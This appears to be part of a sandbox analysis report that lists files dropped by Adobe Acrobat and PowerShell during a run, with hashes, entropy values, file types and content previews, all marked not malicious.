Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2827325415140605
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJf+dPeUkwRe9:YvXKXQ8YpW7YG28Ukee9
MD5:	8611CEACCC62CE3A9F24A6E250D726D0
SHA1:	44A43DFD3E4C819DDF40FB5711F8B95AEB454706
SHA-256:	A4910DE1DD6CCE4ACA4833437A24DD2B7E3303F67A26C4FE186B61777F8809D2
SHA-512:	9AB7466BE2C4012EE2987ECE94C9F3F65A2C55B5B9A78A9912174434FD490C18B088CFDFAFDD41F322A162E7F07E32BD304DA85FD39CCBBBC6FC2AC6C0552D11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.280619135968299
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJfbPtdPeUkwRe9:YvXKXQ8YpW7YGDV8Ukee9
MD5:	31C5B313AC3214FAACB62DBFDE7F9908
SHA1:	5CC1922187EBB4B16987E713F04DDA31688C331A
SHA-256:	E6018B707532479737CE6F90431850A5DBE6A69644D6936E66D8D059839D24F0
SHA-512:	89947D479B0235D53D9ECF3996362A1D71E7EB4332BAA37026C7C9ACCFCBECA9A8AD8AB7568476BFC3597FC910F1B1FA0A63012578536BAC8958CB7CD6DBE3D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.282547413009939
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJf21rPeUkwRe9:YvXKXQ8YpW7YG+16Ukee9
MD5:	43063C183D968C8035B35ADD20987E95
SHA1:	E75D38ECD7E14869E3A97CF4A72124ED5EB118DF
SHA-256:	58347E8FFD83A39880BA155B2D28CACDBCFAE7BCC588332327AFDAFDB9294A62
SHA-512:	F4A70C65AEB8E193B9B5BA995D82042C1FAE96EF989561E7FEF16D24D6083DBFBCE75DB1EB4810B5170B31A735B75BF9A26D932A6A2EDF9814D2F2588F146A4E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66767167919712
Encrypted:	false
SSDEEP:	24:Yv6X+itamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSo:Yv2BBgkDMUJUAh8cvMo
MD5:	881ABF206B0E321FC196C2413DE609E0
SHA1:	CFCB067B7DD85C5F3BA072052D391065EB493CD8
SHA-256:	9A9897B77524AA213F4042B87273FA6B81E9FB0B28902ECE9CCED0BC457FF7CA
SHA-512:	99757B1455BC3DBD9EF280D97A048C1E42CFEC007D15D8FFCAFDD7E907BFFB0C162ABBAA9131AC8DD7483F50F2110B096B7B01EB701DBC81AB47B6F944136013
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2572597197611515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJfshHHrPeUkwRe9:YvXKXQ8YpW7YGUUUkee9
MD5:	76B8EAB9C204B0A52D2DC2738868D949
SHA1:	C58B4ECA79EBF8E732B86E38E0714997F1245A63
SHA-256:	372D1225AE006A720B6DAAB41872A09820EE7250B54D6EFB6FFD0325BB019037
SHA-512:	2DCFCC3792F19CC1D80BBC0BCB9E850D5BFB5548D23F36A1F8937D0D8B209F54CDD451223C4BA1C5ADFF66EFA7D4937A47FCF1BB35159E438ECBAA1C587B5173
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.271796372264341
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJTqgFCrPeUkwRe9:YvXKXQ8YpW7YGTq16Ukee9
MD5:	5D47BB6FF22D54E2D3FC47524888971D
SHA1:	C64372925C8E295D5864530C1D2F57D1A73468C8
SHA-256:	5B1E4FEB18B17BD7053516DF5E1AB7FF3ADA0A5D685BB46E972BAB50E3306043
SHA-512:	86F2A8B964564702EB77D3AFC4772452A8C3A7C0EB84BE71FE9757F8F1C29E46EC844C83C085F9EAE779BB991F76C3AE270C440A3280D40B44DF60AFEE287006
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133130020576942
Encrypted:	false
SSDEEP:	24:Yv1faI8nayVn9iHP/izKmq9jJj0SLiLL2q6OA712LS1C28aLMOCpI5HX5q9Rmiuy:Yv4ov/ig9gUNpD0aLMOCpIZM9Rd
MD5:	EC456485777CF059C8EC631D0E8F065E
SHA1:	F3D0E0360C7309AD7525EE636FB1C83547D2FF82
SHA-256:	48DD9D63277FCD8A315A76DDA3C1B6B54D03659BB169D927B863F18DAAC4B739
SHA-512:	AF6955C9A53880A7F25140F653AD3BD86AECD0A3355E1800E7F9D8F455CBE991A302A1402764A3AE8FCA8942A0D1293D161BE01B3D44E5887356FE7D1E3372E2
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3ab34a99777b1dcc2a988cbc52c29790","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736560022000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b1725ec64ac122a854928d7ca694fab2","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736560022000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2424ab26c956117e27253f44dfaca8d6","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736560022000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e552ac89247b13ae3e73e08497dac8f2","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736560022000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"62ddb37aa4a2b32999541113db5dff67","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736560022000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"67e2cb22531907afcbf3c4247f0f2d31","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9859625702380459
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spp4zJwtNBwtNbRZ6bRZ4kF:TVl2GL7ms6ggOVpKzutYtp6PR
MD5:	1360C9F5BEEB6A55F2CE3607E625F19E
SHA1:	E1453BF6F2961819D7E27A9E8A45F5D234F295E5
SHA-256:	30A77B7EE552D9CC14FEA6FD739610CC89D16DB1E19CC6587EC815B3365D0307
SHA-512:	CB2FE09EE073F970B9275B2C0358BB078A3B20A8D331781C099CD082C3EDC5964D9B28963ABE9F9E6A6209EC3211DC489E6AC13564445D000C6126DC4A2DEA86
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3399864370560748
Encrypted:	false
SSDEEP:	24:7+tUnAD1RZKHs/Ds/SppPzJwtNBwtNbRZ6bRZWf1RZKBWqLBx/XYKQvGJF7ursV:7MMGgOVpRzutYtp6PM1qll2GL7msV
MD5:	87F5FE6C85E716BCDC3BA365619C4BDB
SHA1:	DBE76DDB79E05D62735F46DA902E76D426780849
SHA-256:	A3AF46F7EBDDB842B7C855E0402FE98F81EFE478E98DCDCA2C7E117A215B8A05
SHA-512:	35D29AA3DE7ACF2560A7C734C4BE6A4F8ED4C045052FACA9640A3309139FC0AF326FE91BB5206017885DF857439B8DA77280243EAF32DDBA8BA33E81FFAFEBC0
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEglGG6jrAjxYrfk5xs5A+v9fCYyu:6a6TZ44ADElGGorwxsOMtCK
MD5:	821316892A53D7C8E11D2C45C21AB7C6
SHA1:	B55EBCBC1BFD0D77D7AAF99653E9848BD5506474
SHA-256:	6E3F5FE1E1724AC6BC031BD9D7023B658CC9162DF098C8AB5E1423F08AE47239
SHA-512:	5FE2C8261C7275349EC32AB7121B25E33087F2CD5010895A366D77A0F79E2D06A5E53A637A04596112E435154E5D5CD1EB5958AC579D845E8A449A55A8674832
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nllluldhz/lL:NllU
MD5:	03744CE5681CB7F5E53A02F19FA22067
SHA1:	234FB09010F6714453C83795D8CF3250D871D4DF
SHA-256:	88348573B57BA21639837E3AF19A00B4D7889E2D8E90A923151AC022D2946E5D
SHA-512:	0C05D6047DBA2286F8F72EB69A69919DC5650F96E8EE759BA9B3FC10BE793F3A88408457E700936BCACA02816CE25DD53F48B962491E7F4F0A4A534D88A855E6
Malicious:	false
Preview:	@...e.................................L..............@..........

C:\Users\user\AppData\Local\Temp\MSIe6778.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl/NH:Qw946cPbiOxDlbYnuRK+bQ
MD5:	F09D3D1E55FF9814129FF33A268C5996
SHA1:	E8820202A24F20FE68FD908F4CACA69CA4FE8C33
SHA-256:	36E5FD874EB7E32ED09703F466F2318E00E31AD377093EEA29DA804CDED9BE16
SHA-512:	5C5510DC3974C3D647713DBDA6809C148BE625F4E6661C64626861408AF9669E971DA714A15283054D542F97B1FC140141D8B4B849D3C893811A663A32CED79E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.4.7.:.0.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fbphwlfx.4ai.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ucntvspl.mjm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-46-55-499.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15112
Entropy (8bit):	5.334674148978896
Encrypted:	false
SSDEEP:	384:4CufGK7SD3cUSsfrsdJRyotc0/ZilX/BK5BbMEK3x+gUxqGiy1b9o3oJgVoxxeeW:Pyi
MD5:	EEB56A3798BB678C4664AF6B834000FF
SHA1:	21A8D5D97F2D108CCF185844BC3806C86F378017
SHA-256:	E01003A606E16619499D9A48A1E66BFEC8891234DF269BF4DC1B4D452CD8C98D
SHA-512:	158E03620B8D551EB943F6384981E346A175DFA22179CB3100176AE274B19EA4B9F5F24E7F6273A71E4478F53EC7349ADE1D0A64C4A434335BB360F1B3754D0E
Malicious:	false
Preview:	SessionID=4d633413-c130-441d-9683-5c03d2b93473.1736560015516 Timestamp=2025-01-10T20:46:55:516-0500 ThreadID=7772 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4d633413-c130-441d-9683-5c03d2b93473.1736560015516 Timestamp=2025-01-10T20:46:55:536-0500 ThreadID=7772 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4d633413-c130-441d-9683-5c03d2b93473.1736560015516 Timestamp=2025-01-10T20:46:55:536-0500 ThreadID=7772 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4d633413-c130-441d-9683-5c03d2b93473.1736560015516 Timestamp=2025-01-10T20:46:55:536-0500 ThreadID=7772 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4d633413-c130-441d-9683-5c03d2b93473.1736560015516 Timestamp=2025-01-10T20:46:55:536-0500 ThreadID=7772 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.402319515425951
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb8:L8
MD5:	370D8A180A779520BB8D116C0B216F84
SHA1:	85223D949F9B8CC0AEEDE25F37679F485519DE32
SHA-256:	9B0E302BF9280ED6B4C330C24CD0DBDA9F7881125183C4FE6CA1E738DD5C79AF
SHA-512:	E02ADDF368E452C2BA2F96BE6CFA754D500B730DB1C971B1A4257CFE381E80B6C311D348E3228B693B9E8EBF067E5598ACAF37799909CC2E70A720CCE92C27EF
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\11a65dc1-02b8-4f23-b38f-3bbd53ae76ed.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\14f61854-4b06-4878-a0c0-aacb3126db1a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:6Dbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WL07oXGZGwYIGNPJF:cb3mlind9i4ufFXpAXkrfUs0jWLxXGZY
MD5:	279B811F8FB7ED83618C0B37825CCF25
SHA1:	5718DA0EF8F5A938CB88800665F18C9B805208B2
SHA-256:	2AF4D3CE45FACE3A6DF83A17E90912767BE01A6F2C96AD8B3F270FDB13F77E46
SHA-512:	74A736359646F91F28AC496DFFF249D0E5B005AA6BB34DAFDDE3C2A29B70D52E6F865239579AC94540AAB0D20BFC03AE6501814358D2122FCB60A4591213A9B9
Malicious:	false
